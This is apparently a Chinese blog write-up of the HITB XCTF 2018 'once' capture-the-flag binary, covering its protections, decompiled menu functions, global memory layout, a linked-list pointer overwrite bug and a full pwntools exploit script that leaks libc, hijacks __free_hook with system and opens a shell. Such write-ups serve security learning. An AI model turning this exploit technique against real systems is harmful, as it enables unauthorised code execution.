hitb_xtf_2018_once复现

2018-04-17  本文已影响31人  pu1p

0x00 背景

由于忙于实验, 并没有打这场比赛. 不过之前A1Lin大佬分享了这道题目. 所以这儿就记录一下复现这道题的过程

0x01 程序分析

保护情况

checksec看一下:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开.

函数分析

主函数:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]
  __int64 savedregs; // [rsp+30h] [rbp+0h]

  v4 = __readfsqword(0x28u);
  sub_55D04D884D10();
  while ( 1 )
  {
    func0();
    read(0, &buf, 8uLL);
    atoi(&buf);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        func_1();
        break;
      case 2u:
        func2();
        break;
      case 3u:
        func3();
        break;
      case 4u:
        func4();
        break;
      case 5u:
        puts("See you next time.");
        exit(0);
        return;
      default:
        puts("Invalid choice");
        printf("%p", &IO_puts);
        break;
    }
  }
}

可以通过无效的输入得到libc的地址

func1:

__int64 ptr()
{
  st *v0; // rax
  st *prev_g_ptr; // ST10_8

  v0 = (st *)malloc(0x20uLL);
  v0->bk = 0LL;
  v0->fd = 0LL;
  prev_g_ptr = g_ptr_0;
  g_ptr_0 = v0;
  v0->bk = &g_val2;
  v0->fd = prev_g_ptr;
  prev_g_ptr->bk = v0;
  puts("suceess.");
  return 0LL;
}

v0 是一个结构体指针. ida中使用结构体可以参考这个博客
其结构如下:

struct st{
  void *a;
  void *b;
  st *bk;
  st *fd;
}

类似双向链表. g_ptr_0初始值为&g_val_2.

func2:

int func2()
{
  if ( HIDWORD(g_flag2) == 1 )
    return -1;
  get_str(g_ptr_0, 0x20u);
  HIDWORD(g_flag2) = 1;
  return puts("success.");
}

func 3:

int func3()
{
  if ( (_DWORD)g_flag2 == 1 )
    return -1;
  g_ptr_0 = (st *)g_ptr_0->fd;
  g_ptr_0->bk = &g_val2;
  LODWORD(g_flag2) = 1;
  return puts("success.");
}

func4:

__int64 func4()
{
  int choice; // eax
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          func0();
          read(0, &buf, 8uLL);
          choice = atoi(&buf);
          if ( choice != 2 )
            break;
          if ( g_flag3 )
            return 0LL;
          get_str(g_ptr, size);
          g_flag3 = 1;
        }
        if ( choice > 2 )
          break;
        if ( choice != 1 )
          goto default;
        if ( g_flag4 )
          return 0LL;
        puts("input size:");
        read(0, &buf, 8uLL);
        LODWORD(size) = atoi(&buf);
        if ( (unsigned int)size <= 0xC7 || (unsigned int)size > 0x1F40 )
          return 0LL;
        g_ptr = malloc((unsigned int)size);
        if ( !g_ptr )
          exit(0);
        g_flag4 = 1;
      }
      if ( choice != 3 )
        break;
      if ( g_flag5 )
        return 0LL;
      free(g_ptr);
      g_ptr = 0LL;
      g_flag5 = 1;
    }
    if ( choice == 4 )
      return 0LL;
default:
    puts("error.");
  }
}

主要的限制就是很多功能只能调用一次

全局变量之间的位置关系:

.data:000055D04DA86020 g_val2          dq 0                    ; DATA XREF: func_1+67↑o
.data:000055D04DA86020                                         ; func3+47↑o
.data:000055D04DA86028                 dq 0
.data:000055D04DA86030                 dq offset g_val2
.data:000055D04DA86038 ; st *g_ptr_0
.data:000055D04DA86038 g_ptr_0         dq offset g_val2        ; DATA XREF: func_1+4D↑r
.data:000055D04DA86038                                         ; func_1+5C↑w ...
.data:000055D04DA86038 _data           ends
.data:000055D04DA86038
.bss:000055D04DA86040 ; ===========================================================================
.bss:000055D04DA86040
.bss:000055D04DA86040 ; Segment type: Uninitialized
.bss:000055D04DA86040 ; Segment permissions: Read/Write
.bss:000055D04DA86040 _bss            segment para public 'BSS' use64
.bss:000055D04DA86040                 assume cs:_bss
.bss:000055D04DA86040                 ;org 55D04DA86040h
.bss:000055D04DA86040                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:000055D04DA86040                 public __bss_start
.bss:000055D04DA86040 ; FILE *_bss_start
.bss:000055D04DA86040 __bss_start     dq ?                    ; DATA XREF: sub_55D04D884990↑o
.bss:000055D04DA86040                                         ; sub_55D04D884A60:loc_55D04D8849D0↑o ...
.bss:000055D04DA86040                                         ; Alternative name is '_edata'
.bss:000055D04DA86040                                         ; stdout
.bss:000055D04DA86040                                         ; _edata
.bss:000055D04DA86040                                         ; Copy of shared data
.bss:000055D04DA86048                 dq ?
.bss:000055D04DA86050                 public stdin
.bss:000055D04DA86050 ; FILE *stdin
.bss:000055D04DA86050 stdin           dq ?                    ; DATA XREF: sub_55D04D884D10+17↑r
.bss:000055D04DA86050                                         ; Copy of shared data
.bss:000055D04DA86058 qword_55D04DA86058 dq ?                 ; DATA XREF: sub_55D04D884A20↑r
.bss:000055D04DA86058                                         ; sub_55D04D884A20+29↑w
.bss:000055D04DA86060 g_flag2         dq ?                    ; DATA XREF: func3+17↑r
.bss:000055D04DA86060                                         ; func3+52↑w ...
.bss:000055D04DA86068 ; void *g_ptr
.bss:000055D04DA86068 g_ptr           dq ?                    ; DATA XREF: func4+F4↑w
.bss:000055D04DA86068                                         ; func4+FB↑r ...
.bss:000055D04DA86070 g_flag5         dd ?                    ; DATA XREF: func4:loc_55D04D884EE6↑r
.bss:000055D04DA86070                                         ; func4+17C↑w
.bss:000055D04DA86074 ; size_t size
.bss:000055D04DA86074 size            dd ?                    ; DATA XREF: func4+BA↑w
.bss:000055D04DA86074                                         ; func4+C0↑r ...
.bss:000055D04DA86078 g_flag4         dd ?                    ; DATA XREF: func4:loc_55D04D884E0D↑r
.bss:000055D04DA86078                                         ; func4:loc_55D04D884EA6↑w
.bss:000055D04DA8607C g_flag3         dd ?                    ; DATA XREF: func4:loc_55D04D884EB2↑r
.bss:000055D04DA8607C                                         ; func4+145↑w
.bss:000055D04DA8607C _bss            ends
.bss:000055D04DA8607C

0x02 漏洞分析

这题的利用思路十分精巧.
通过func_2()我们可以修改g_ptr_0指向的结构体体的内容. 从而结合func_3()我们可以将任何地方的值修改为 &g_val2, 那么如果我们将g_ptr的值修改为&g_val_2的话,我们岂不是就可以通过func_4()将后面的所有全局变量都给覆盖了. 我们可以根据已有的libc地址获得free_hook, system 和 "/bin/sh"的地址. 从而调用 system("/bin/sh").

0x03 破解脚本

from pwn import *

io = process('./once')

elf = ELF('./once')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#leak_libc base
io.sendline('0')
io.recvuntil('choice\n')
puts_base = io.recvuntil('>', drop = True)
puts_base = int(puts_base, 16)
libc_base = puts_base - 456336

libc.address = libc_base

_bss_start = libc_base + 3497872 + 456336
std_in = libc_base + 3494480 + 456336
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
#local libc's offset, not the offered libc
bash = libc_base + 0x18cd57

wait = 0.3
#init size
io.sendline('4')
sleep(wait)
io.sendline('1')
sleep(wait)
io.sendline('256')
sleep(wait)
io.sendline('4')

print('libc_base: ', hex(libc_base))
print('_bss_start: ', hex(_bss_start))
print('stdin: ', hex(std_in))
#unlink
io.sendline('1')
sleep(wait)
io.sendline('2')
sleep(wait)
io.send('a'*0x18 + '\x58')
sleep(wait)
io.sendline('3')
sleep(wait)


print('free_hook: ', hex(free_hook))

payload_1 = 'a'*0x18 + p64(free_hook + 0x30) + p64(_bss_start) + p64(0) + p64(std_in) + \
       p64(0) + p64(0) + p64(free_hook) + p32(0) + p32(0x100) + p64(0)

payload = 'a'*0x18 + p64(free_hook) + p64(_bss_start) + p64(0) + p64(std_in) + \
       p64(0) + p64(0) + p64(bash) + p32(0) + p32(0x100) + p64(0)

io.sendline('4')
sleep(wait)
io.sendline('2')
sleep(wait)
io.sendline(payload)
sleep(wait)
io.sendline('4')
sleep(wait)
io.recv()
sleep(wait)

io.sendline('2')

sleep(wait)

io.send(p64(system))

sleep(wait)

io.sendline('4')
sleep(wait)

io.sendline('3')
sleep(wait)

io.interactive()

脚本写的很丑.......懒得改了.............

上一篇 下一篇

猜你喜欢

热点阅读